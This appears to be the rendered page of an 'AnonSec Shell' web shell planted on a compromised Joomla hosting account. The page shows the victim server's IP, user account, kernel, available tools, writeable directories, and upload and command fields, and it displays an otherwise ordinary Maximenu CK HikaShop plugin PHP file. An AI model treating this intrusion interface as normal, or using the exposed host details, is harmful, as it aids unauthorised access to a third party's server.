AnonSec Shell
Server IP : 46.105.57.169  /  Your IP : 216.73.216.144
Web Server : Apache
System : Linux webd003.cluster120.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : maitricfuz ( 93378)
PHP Version : 8.4.10
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/maitricfuz/www/saint-martin-lg/plugins/maximenuck/hikashop/elements/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/maitricfuz/www/saint-martin-lg/plugins/maximenuck/hikashop/elements/ckhikashopcategory2.php
<?php
/**
 * @copyright	Copyright (C) 2016 Cedric KEIFLIN alias ced1870
 * http://www.joomlack.fr
 * @license		GNU/GPL
 * */
 
defined('_JEXEC') or die;
jimport('joomla.filesystem.file');
jimport('joomla.form.formfield');
\Joomla\CMS\Form\FormHelper::loadFieldClass('list');

class JFormFieldCkhikashopcategory2 extends \Joomla\CMS\Form\Field\ListField {

	protected $type = 'ckhikashopcategory2';

	protected function getOptions() {
		// if the component is not installed
		if (!is_dir(JPATH_ROOT . '/administrator/components/com_hikashop')) {
			// add the root item
			$option = new stdClass();
			$option->text = \Maximenuck\CKText::_('PLG_MAXIMENUCK_HIKASHOP_NOTFOUND');
			$option->value = '0';
			$options[] = $option;
			// Merge any additional options in the XML definition.
			$options = array_merge(parent::getOptions(), $options);

			return $options;
		}

		// get the categories
		// $cats = $this->getCategories();
		require_once JPATH_ROOT . '/plugins/maximenuck/hikashop/helper/helper_hikashop.php';
		$className = 'MaximenuckHelpersourceHikashop';
		$params = new \Maximenuck\CKRegistry();
		$cats = $className::getItems($params, $all = false);

		// add the root item
		$option = new stdClass();
		$option->text = \Maximenuck\CKText::_('PLG_MAXIMENUCK_HIKASHOP_PRODUCT_CATEGORY');
		$option->value = '2';
		$options[] = $option;
		foreach ($cats as $cat) {
			$option = new stdClass();
			$option->text = str_repeat(" - ", $cat->level) . $cat->name;
			$option->value = $cat->id;
			$options[] = $option;
		}
		// Merge any additional options in the XML definition.
		$options = array_merge(parent::getOptions(), $options);

		return $options;
	}
	
	protected function getCategories() {

		$db = \Joomla\CMS\Factory::getDBO();
		$query = "SELECT category_name as name,"
				. " #__hikashop_category.category_id as id,"
				. " #__hikashop_category.category_depth-1 as level,"
				. " #__hikashop_category.category_parent_id as parent,"
				. " #__hikashop_category.category_ordering as ordering"
				. " FROM #__hikashop_category"
				. " WHERE #__hikashop_category.category_type = 'product'"
				. " AND #__hikashop_category.category_published = 1"
				. " AND #__hikashop_category.category_depth > 1"
				. " ORDER BY parent DESC, ordering ASC";

		$db->setQuery($query);

		if ($db->execute()) {
			$rows = $db->loadObjectList('id');
		} else {
			echo '<p style="color:red;font-weight:bold;">Error loading SQL data : loading the hikashop categories in Maximenu CK</p>';
			return false;
		}

		$level = 0;
		$items = array();
		$i = 0;

		foreach ($rows as $k => &$item) {

			// saves childs into parents items
			if ($item->level > 1) {
				if (isset($rows[$item->parent])) $rows[$item->parent]->haschild = 'yes';
				if (isset($item->haschild)) {
					$rows[$item->parent]->enfants.=$item->id . '|' . $item->enfants;
				} else {
					if (isset($rows[$item->parent]->enfants)) {
						$rows[$item->parent]->enfants.=$item->id . '|';
					} else {
						$rows[$item->parent]->enfants=$item->id . '|';
					}
				}
			}
			// create childs after respective parent
			if ($item->level == 1) { //gestion des droits des parents niveau 0
				$items[$i] = $item;
				if (isset($active_category_id) && $active_category_id == $item->id) {
					// $active_path[] = $item->id;
				}
				$item->path = array();
				$item->path[] = $item->id;
				if (isset($item->haschild)) {
					$childs = explode("|", $item->enfants);
					foreach ($childs as $c) {
						if ($c) {
							$i++;
							$item->path[] = $rows[$c]->id;
							$rows[$c]->path = $item->path;
							$items[$i] = $rows[$c];
						}
					}
				}
			} else {
				$i--;
			}
			$i++;
		}

		return $items;
	}
}

Anon7 - 2022
AnonSec Team